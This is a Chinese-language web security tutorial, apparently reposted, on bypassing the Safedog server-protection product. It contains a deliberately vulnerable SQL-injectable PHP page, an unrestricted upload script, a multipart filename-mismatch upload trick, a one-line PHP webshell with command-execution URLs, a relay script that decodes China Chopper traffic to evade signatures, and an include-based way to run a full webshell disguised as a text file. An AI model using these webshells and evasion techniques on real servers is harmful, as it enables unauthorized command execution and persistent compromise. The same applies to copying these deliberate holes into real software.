http://www.jb51.net/hack/192036.html
一、前言
安全狗是一款大家熟悉的服务器安全加固产品，据称已经拥有50W的用户量。最近经过一些研究，发现安全狗的一些防护功能，例如SQL注入、文件上传、防webshell等都可以被绕过，下面为大家一一介绍。
二、测试环境
本次测试环境为
中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72
网站安全狗IIS版3.2.08417
三、SQL注入绕过
我们先写一个存在SQL注入漏洞的php：
<?
$uid = $_REQUEST['id'];
if(!$conn = @mysql_connect("localhost", "root", "123456"))
die('<font size=+1>An Error Occured</font><hr>unable to connect to the database.');
if(<a rel="external nofollow" href="mailto:!@mysql_select_db(%22supe%22,$conn">!@mysql_select_db("supe",$conn</a>))
die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");
$text = "select * from supe_members where uid=".$uid;
$rs = mysql_query ($text,$conn);
while($rom = mysql_fetch_array($rs))
{
echo $rom["username"];
}
?>
我用的是supesite的库，可以看到这里是有明显SQL注入漏洞的，当没有安全狗的时候可以成功注入：
当安装安全狗之后，注入语句会被拦截：
经过测试发现，安全狗这块的匹配正则应该是s+and这类的，所以只要想办法去掉空格，用普通注释/**/是不行的，安全狗也防了这块。但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。
用下面语句成功绕过SQL注入过滤：
有人说只有POST才可以，但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。
四、文件上传绕过
安全狗的防上传也是做在WEB层，即分析HTTP协议来防止上传，按照yuange说的安全是一个条件语句，这显然是不符合安全规范的，只检查HTTP并不能保证文件系统层上的问题。
假设有一个上传功能的php：
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "
";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "
";
echo "Type: " . $_FILES["file"]["type"] . "
";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb
";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "
";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
<html>
<body>
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
然后在安全狗里设置禁止上传.php文件：
然后通过浏览器上传php会被拦截：
我们通过burp把上传的HTTP包抓下来，然后自己进行一下修改POST数据。经过了一些实验，直接说结果吧，当增加一处文件名和内容，让两个文件名不 一致的时候，成功绕过了安全狗的防护，上传了php文件。原因是安全狗进行文件名匹配时候用的是第一个文件名test.jpg，是复合安全要求的，但是 webserver在保存文件的时候却保存了第二个文件名test.php，也就是if(security_check(a)){do(b);}，导致安 全检查没有用，php文件已经成功上传了：
这样的上传数据可能是不符合RFC规范的，但是却达到了绕过拦截的目的。结论是每种安全检查一定要在对应的层次做检查，而不能想当然的在WEB层做系统层该做的事情。
五、一句话webshell绕过
对于攻击者来说，安全狗很烦人的一点就是传上去的webshell却不能执行。我们就来看看怎么绕过安全狗对一句话webshell的拦截。
首先要知道安全狗防webshell仍然是依靠文件特征+HTTP来判断，但webshell真正执行是在脚本层，检查的层次不对当然也是可以轻易绕过去的。因为php里面函数名都可以是变量，文件里哪还有特征啊，上传如下php：
<?php$_REQUEST['a']($_REQUEST['b']);?>
然后在浏览器里执行：
http://192.168.200.115/small.php?a=system&b=dir
成功执行了系统命令，当然也可以执行php代码：
http://192.168.200.115/small.php?a=assert&b=phpinfo();
六、菜刀绕过
测试发现这种一句话虽然可以成功执行，但是在菜刀里却不能用，而有些人非觉得这样的一句话麻烦，非要用菜刀。经分析安全狗对菜刀的HTTP请求做了拦截，
菜刀的POST数据里面对eval数据做了base64编码，安全狗也就依靠对这些特征来拦截，因此要想正常使用菜刀，必须在本地做一个转发，先把有特征
的数据转换。这个思路类似于对伪静态注入的本地转发。
首先在本地搭建WEB SERVER，然后写一个php转发程序：
<?php
$target="<a rel="external nofollow" href="http://192.168.200.115/small.php";//">http://192.168.200.115 /small.php";//</a>这个就是前面那个一句话的地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}
else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
//echo($pp);
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
意思就是在本地先对eval数据进行base64解码，然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:
这样就可以使用菜刀来连接前面那个一句话马了:
这样就能用菜刀了，不过大家真的没必要执着于菜刀，向大家推荐一款更好的类似菜刀的工具Altman：
- 软件名称：
- 开源Webshell利用工具——Altman
- 软件大小：
- 1.1MB
- 更新时间：
- 2014-07-17
它的最大特点是开源，这意味着像安全狗这种根据特征来拦截的，只要改改源代码把特征字符串改掉，就永远也无法拦截。当然改这个代码要你自己动手喽。
七、webshell大马绕过
一句话功能毕竟有限，想用大马怎么办？仍然是传统的include大法，传一个big.php内容如下：
<?phpinclude('logo.txt');?>
然后再把大马上传为logo.txt，这样就成功绕过安全狗的拦截执行了webshell：
这样大马也顺利执行了。
八、结束语
上面从SQL注入、上传、webshell等几个方面绕过了安全狗的保护，有些绕过方法安全狗可能早就知道了，但是为什么一直没有补？很可能的原因是怕过
滤太严格影响某些应用，在安全和通用性之间做取舍我认为是可以理解的，但是我觉得这也正是安全研究人员存在的价值所在。
这里发几句题外的牢骚，很多安全公司其实是当作软件公司来做的，做安全软件就是去做开发，而忽视了安全研究的价值。普通的防护方法原理很简单，但想要不影 响应用又保证安全其实很难，如果没有对漏洞和攻击有深入理解的研究人员，安全产品是没法更上一层楼的。希望各个安全公司不要太功利，对研究人员多一些重 视，安全公司真的不能仅仅等同于软件公司啊！